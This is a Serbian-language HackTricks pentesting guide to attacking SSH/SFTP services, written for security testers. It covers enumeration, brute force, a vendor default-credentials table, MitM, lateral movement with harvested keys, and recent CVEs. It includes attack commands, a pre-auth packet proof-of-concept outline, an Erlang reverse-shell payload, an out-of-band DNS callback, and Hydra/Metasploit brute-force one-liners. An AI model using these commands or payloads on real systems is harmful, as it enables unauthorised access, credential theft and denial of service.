22 - Pentesting SSH/SFTP
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
SSH (Secure Shell or Secure Socket Shell) je mrežni protokol koji omogućava sigurnu konekciju na računar preko nesigurne mreže. Bitan je za održavanje poverljivosti i integriteta podataka prilikom pristupa udaljenim sistemima.
Podrazumevani port: 22
22/tcp open ssh syn-ack
SSH servers:
- openSSH – OpenBSD SSH, isporučen u BSD, Linux distribucijama i Windows-u od Windows 10
- Dropbear – SSH implementacija za okruženja sa malom količinom memorije i procesorskih resursa, isporučena u OpenWrt
- PuTTY – SSH implementacija za Windows; klijent se često koristi, dok je upotreba servera ređa
- CopSSH – implementacija OpenSSH-a za Windows
SSH libraries (implementing server-side):
- libssh – multiplatformska C biblioteka koja implementira SSHv2 protokol sa bindingima u Python, Perl i R; koristi se u KDE za sftp i od strane GitHub-a za git SSH infrastrukturu
- wolfSSH – SSHv2 serverska biblioteka napisana u ANSI C i namenjena za embedded, RTOS i okruženja sa ograničenim resursima
- Apache MINA SSHD – Apache SSHD Java biblioteka bazirana na Apache MINA
- paramiko – Python biblioteka za SSHv2 protokol
Enumeracija
Banner Grabbing
nc -vn <IP> 22
Automatski ssh-audit
ssh-audit je alat za reviziju konfiguracije ssh servera i klijenata.
https://github.com/jtesta/ssh-audit je ažurirani fork od https://github.com/arthepsy/ssh-audit/
Mogućnosti:
- Podrška za SSH1 i SSH2 protokole na serveru;
- analizirati konfiguraciju SSH klijenta;
- preuzeti banner, prepoznati uređaj ili softver i operativni sistem, detektovati kompresiju;
- prikupiti algoritme za key-exchange, host-key, encryption i message authentication code;
- izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nesigurno/slabo/zastarelo, itd);
- izlaz preporuka za algoritme (dodati ili ukloniti na osnovu prepoznate verzije softvera);
- izlaz sigurnosnih informacija (povezani problemi, dodeljena lista CVE-ova, itd);
- analiza kompatibilnosti SSH verzija na osnovu informacija o algoritmima;
- istorijske informacije iz OpenSSH, Dropbear SSH i libssh;
- radi na Linuxu i Windowsu;
- bez zavisnosti
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Javni SSH ključ servera
ssh-keyscan -t rsa <IP> -p <PORT>
Slabi šifarski algoritmi
Ovo se podrazumevano otkriva pomoću nmap. Ali možete koristiti i sslcan ili sslyze.
Nmap skripte
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
U nekim verzijama OpenSSH moguće je izvesti timing attack za enumerate users. Možete koristiti metasploit module da to iskoristite:
msf> use scanner/ssh/ssh_enumusers
Brute force
Neki uobičajeni ssh kredencijali here and here i dole.
Private Key Brute Force
Ako znate neke ssh private keys koje bi mogle da se koriste… hajde da pokušamo. Možete koristiti nmap script:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Ili MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
Ili koristite ssh-keybrute.py (native python3, lagan i sa omogućenim zastarelim algoritmima): snowdroppe/ssh-keybrute.
Poznati badkeys možete pronaći ovde:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Slabi SSH ključevi / Debian predvidivi PRNG
Neki sistemi imaju poznate propuste u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. To može dovesti do drastično smanjenog prostora ključeva koji se može bruteforcovati. Pre-generisani setovi ključeva kreirani na Debian sistemima pogođenim slabim PRNG-om dostupni su ovde: g0tmi1k/debian-ssh.
Treba da pogledate ovde da biste potražili validne ključeve za ciljanu mašinu.
Kerberos / GSSAPI SSO
Ako ciljani SSH server podržava GSSAPI (na primer Windows OpenSSH na domain controller), možete se autentifikovati koristeći vaš Kerberos TGT umesto lozinke.
Tok rada sa Linux računara napadača:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Napomene:
- Ako se povežete na pogrešno ime (npr. skraćeni host, alias, ili pogrešan redosled u
/etc/hosts), možete dobiti: “Server not found in Kerberos database” zato što SPN ne odgovara. crackmapexec ssh --kerberostakođe može koristiti vaš ccache za Kerberos autentifikaciju.
Podrazumevani kredencijali
| Proizvođač | Korisnička imena | Lozinke |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Ako se nalazite u lokalnoj mreži i žrtva će se povezati na SSH server koristeći korisničko ime i lozinku, možete pokušati da izvedete MitM napad kako biste ukrali te podatke za prijavu:
Tok napada:
- Preusmeravanje saobraćaja: Napadač preusmerava saobraćaj žrtve na svoju mašinu, efektivno presrećući pokušaj konekcije ka SSH serveru.
- Presretanje i logovanje: Mašina napadača funkcioniše kao proxy, beležeći podatke za prijavu korisnika pretvarajući se da je legitimni SSH server.
- Izvršavanje komandi i prosljeđivanje: Na kraju, server napadača zabeleži kredencijale korisnika, prosledi komande pravom SSH serveru, izvrši ih i vrati rezultate korisniku, čineći proces besprekornim i legitimnim.
SSH MITM radi upravo ono što je gore opisano.
Da biste zaista izveli MitM i uhvatili podatke, možete koristiti tehnike kao što su ARP spoofing, DNS spoofin ili druge opisane u Network Spoofing attacks.
SSH-Snake
Ako želite da pređete kroz mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za nove hostove, onda je SSH-Snake ono što vam treba.
SSH-Snake automatski i rekurzivno obavlja sledeće zadatke:
- Na trenutnom sistemu, pronađe sve SSH privatne ključeve,
- Na trenutnom sistemu, pronađe sve hostove ili destinacije (user@host) na kojima bi ti privatni ključevi mogli biti prihvaćeni,
- Pokuša da se SSH-uje na sve destinacije koristeći sve otkrivene privatne ključeve,
- Ako se uspešno poveže na neku destinaciju, ponavlja korake #1 - #4 na toj povezanom sistemu.
Potpuno je samoreplicirajući i samopropagirajući — i potpuno fileless.
Greške u konfiguraciji
Prijava kao root
Često se dešava da SSH serveri podrazumevano dozvoljavaju prijavu kao root, što predstavlja značajan bezbednosni rizik. Onemogućavanje prijave kao root je ključni korak u zaštiti servera. Neovlašćen pristup sa administrativnim privilegijama i brute force napadi mogu se ublažiti ovom izmenom.
Da biste onemogućili prijavu kao root u OpenSSH:
- Izmenite SSH konfiguracioni fajl sa:
sudoedit /etc/ssh/sshd_config - Promenite podešavanje sa
#PermitRootLogin yesuPermitRootLogin no. - Ponovo učitajte konfiguraciju koristeći:
sudo systemctl daemon-reload - Restartujte SSH server da biste primenili izmene:
sudo systemctl restart sshd
SFTP Brute Force
SFTP command execution
Česta greška se javlja kod SFTP podešavanja, gde administratori nameravaju da korisnici razmenjuju fajlove bez omogućavanja udaljenog shell pristupa. I pored postavljanja korisnika sa neinteraktivnim shell-om (npr. /usr/bin/nologin) i ograničavanja na određeni direktorijum, postoji bezbednosna rupa. Korisnici mogu zaobići ova ograničenja tražeći izvršenje komande (npr. /bin/bash) odmah nakon prijave, pre nego što njihov dodeljeni neinteraktivni shell stupi na snagu. Ovo omogućava neovlašćeno izvršavanje komandi, čime se potkopavaju namenjene bezbednosne mere.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Evo primera sigurne SFTP konfiguracije (/etc/ssh/sshd_config – openSSH) za korisnika noraj:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Ova konfiguracija će dozvoliti samo SFTP — onemogućava shell pristup forsiranjem start komande i TTY pristup, kao i sve vrste port forwarding-a ili tunneling-a.
SFTP Tunneling
Ako imate pristup SFTP serveru, možete takođe tunelovati svoj saobraćaj kroz njega, na primer koristeći uobičajeni port forwarding:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
sftp ima komandu “symlink”. Dakle, ako imate writable rights u nekom folderu, možete kreirati symlinks ka drugim folderima/fajlovima. Pošto ste verovatno trapped unutar chroot-a, ovo vam neće biti naročito korisno, ali ako možete access kreiranog symlink iz no-chroot service (na primer, ako možete access symlink-a preko web-a), mogli biste open the symlinked files through the web.
Na primer, da kreirate symlink iz novog fajla “froot” to “/”:
sftp> symlink / froot
If you can access the file “froot” via web, you will be able to list the root (“/”) folder of the system.
Metode autentikacije
U okruženjima visokog nivoa bezbednosti uobičajena je praksa omogućiti samo autentikaciju zasnovanu na ključevima ili autentikaciju sa dva faktora, umesto jednostavne autentikacije zasnovane na lozinki. Međutim, često se snažnije metode autentikacije uključe bez onemogućavanja slabijih. Čest slučaj je uključivanje publickey u openSSH konfiguraciji i postavljanje kao podrazumevane metode, ali bez onemogućavanja password. Dakle, korišćenjem verbose moda SSH client-a, napadač može videti da je slabija metoda omogućena:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Na primer, ako je postavljen limit neuspelih autentikacija i nikada ne dobijete priliku da dođete do password metode, možete koristiti opciju PreferredAuthentications da prisilite upotrebu te metode.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Pregled konfiguracije SSH servera je neophodan da bi se proverilo da su autorizovane samo očekivane metode. Korišćenje verbose mode na klijentu može pomoći da se vidi efikasnost konfiguracije.
Konfiguracioni fajlovi
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Nedavne kritične ranjivosti (2024)
CVE-2024-6387 – regreSSHion signal-handler race
OpenSSH 8.5p1–9.7p1 uklonio je async-safe logging guard unutar sshd-ovog SIGALRM handlera, ponovo uvodeći CVE-2006-5051 i omogućavajući neautentikovanim napadačima da korumpiraju glibc heap čim istekne LoginGraceTime. Qualys je oružao bug za root RCE na 32-bit Linuxu i primetio da su 64-bit ciljevi i dalje podložni brute-force napadima uz dovoljno pokušaja pripreme, pa prioritetizujte hostove koji i dalje otkrivaju te verzije tokom banner grabs.
Eksploatacija zavisi od tajminga: opteretite daemon polu-otvorenim sesijama koje se nikada ne autentikuju tako da privileged monitor više puta ulazi u ranjiv signal-path dok oblikujete stanje allocator-a.
Operator tips:
- Fingerprint buildove komandom
ssh -V(remote banner) ilissh -G <target> | grep ^userauthsi potvrdite da jeLoginGraceTimerazličit od nule. - Testirajte cilj u labu tako što ćete spamovati kratkotrajne sesije koje ne zahtevaju autentikaciju, na primer:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
- Hostovi koji forsiraju
LoginGraceTime 0nikad ne dodiruju buggy code path—očekujte samo DoS vektor iscrpljivanjemMaxStartups.
CVE-2024-3094 – xz/liblzma supply-chain backdoor
XZ Utils 5.6.0 i 5.6.1 su isporučili trojanizovane release tarball-ove čiji build skripti raspakuju skriveni objekat tokom Debian/RPM pakovanja na x86-64 Linuxu. Payload zloupotrebljava glibc-ov IFUNC resolver da hook-uje RSA_public_decrypt u sshd (kada systemd zakrpe nateraju liblzma da se učita) i prihvata pakete potpisane od strane napadača za pre-auth izvršavanje koda.
Pošto se zlonamerni kod nalazi samo unutar tih pakovanih binarnih fajlova, ofanzivna validacija mora da proveri šta je žrtva zaista instalirala: proverite xz --version, rpm -qi xz/dpkg -l xz-utils, uporedite hash-eve /usr/lib*/liblzma.so*, i inspekcijom ldd /usr/sbin/sshd | grep -E "systemd|lzma" utvrdite da li sshd uopšte povlači kompromitovani dependency. Hook ostaje dormant osim ako je process path /usr/sbin/sshd, pa je često potrebno rekonstruisati distro build okruženje da biste reprodukovali backdoor u labu.
Authentication State-Machine Bypass (Pre-Auth RCE)
Several SSH server implementations contain logic flaws in the authentication finite-state machine that allow a client to send connection-protocol messages before authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to unauthenticated code execution or session creation.
Na protokolskom nivou, svaka SSH poruka sa message code-om ≥ 80 (0x50) pripada connection layer-u (RFC 4254) i treba da se prihvata samo nakon uspešne autentikacije (RFC 4252). Ako server procesuira jednu od tih poruka dok je još u stanju SSH_AUTHENTICATION, napadač može odmah da kreira kanal i zahteva akcije kao što su izvršenje komandi, port-forwarding, itd.
Generički koraci eksploatacije
- Uspostavite TCP konekciju ka ciljnom SSH portu (obično 22, ali druge usluge mogu izlagati Erlang/OTP na 2022, 830, 2222…).
- Sastavite sirovi SSH paket:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80 (npr.
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - Payload koji će biti razumljiv izabranom tipu poruke
- Pošaljite paket(e) pre nego što završite bilo koji korak autentikacije.
- Interagujte sa server API-jem koji su sada dostupni pre-auth (izvršenje komandi, port forwarding, pristup fajl-sistemu, …).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
U praksi ćete morati da izvedete (ili preskočite) key-exchange u zavisnosti od implementacije cilja, ali autentifikacija se nikada ne obavlja.
Erlang/OTP sshd (CVE-2025-32433)
- Pogođene verzije: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Osnovni uzrok: Erlang native SSH daemon ne validira trenutni state pre nego što pozove
ssh_connection:handle_msg/2. Zbog toga bilo koji paket sa message code 80-255 stiže do connection handler-a dok je sesija još u userauth state-u. - Uticaj: neautentifikovan remote code execution (daemon obično radi kao root na embedded/OT uređajima).
Primer payload koji pokreće reverse shell vezan za attacker-controlled channel:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection može se izvesti preko DNS-a:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Detekcija i ublažavanje:
- Pregledajte SSH saobraćaj: odbacite svaki paket sa kodom poruke ≥ 80 zabeležen pre autentifikacije.
- Ažurirajte Erlang/OTP na 27.3.3 / 26.2.5.11 / 25.3.2.20 ili novije.
- Ograničite izloženost upravljačkih portova (22/2022/830/2222) – posebno na OT opremi.
Ostale pogođene implementacije
- libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – prihvata neautentifikovani
SSH_MSG_USERAUTH_SUCCESSposlat od strane klijenta, efektivno obrnuta logička greška.
Zajednička lekcija je da svako odstupanje od RFC-om propisanih prelaza stanja može biti fatalno; pri pregledima ili fuzzingu SSH daemona obratite posebnu pažnju na state-machine enforcement.
Reference
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
- Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server
- Snyk – The XZ backdoor (CVE-2024-3094)
HackTricks automatske komande
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

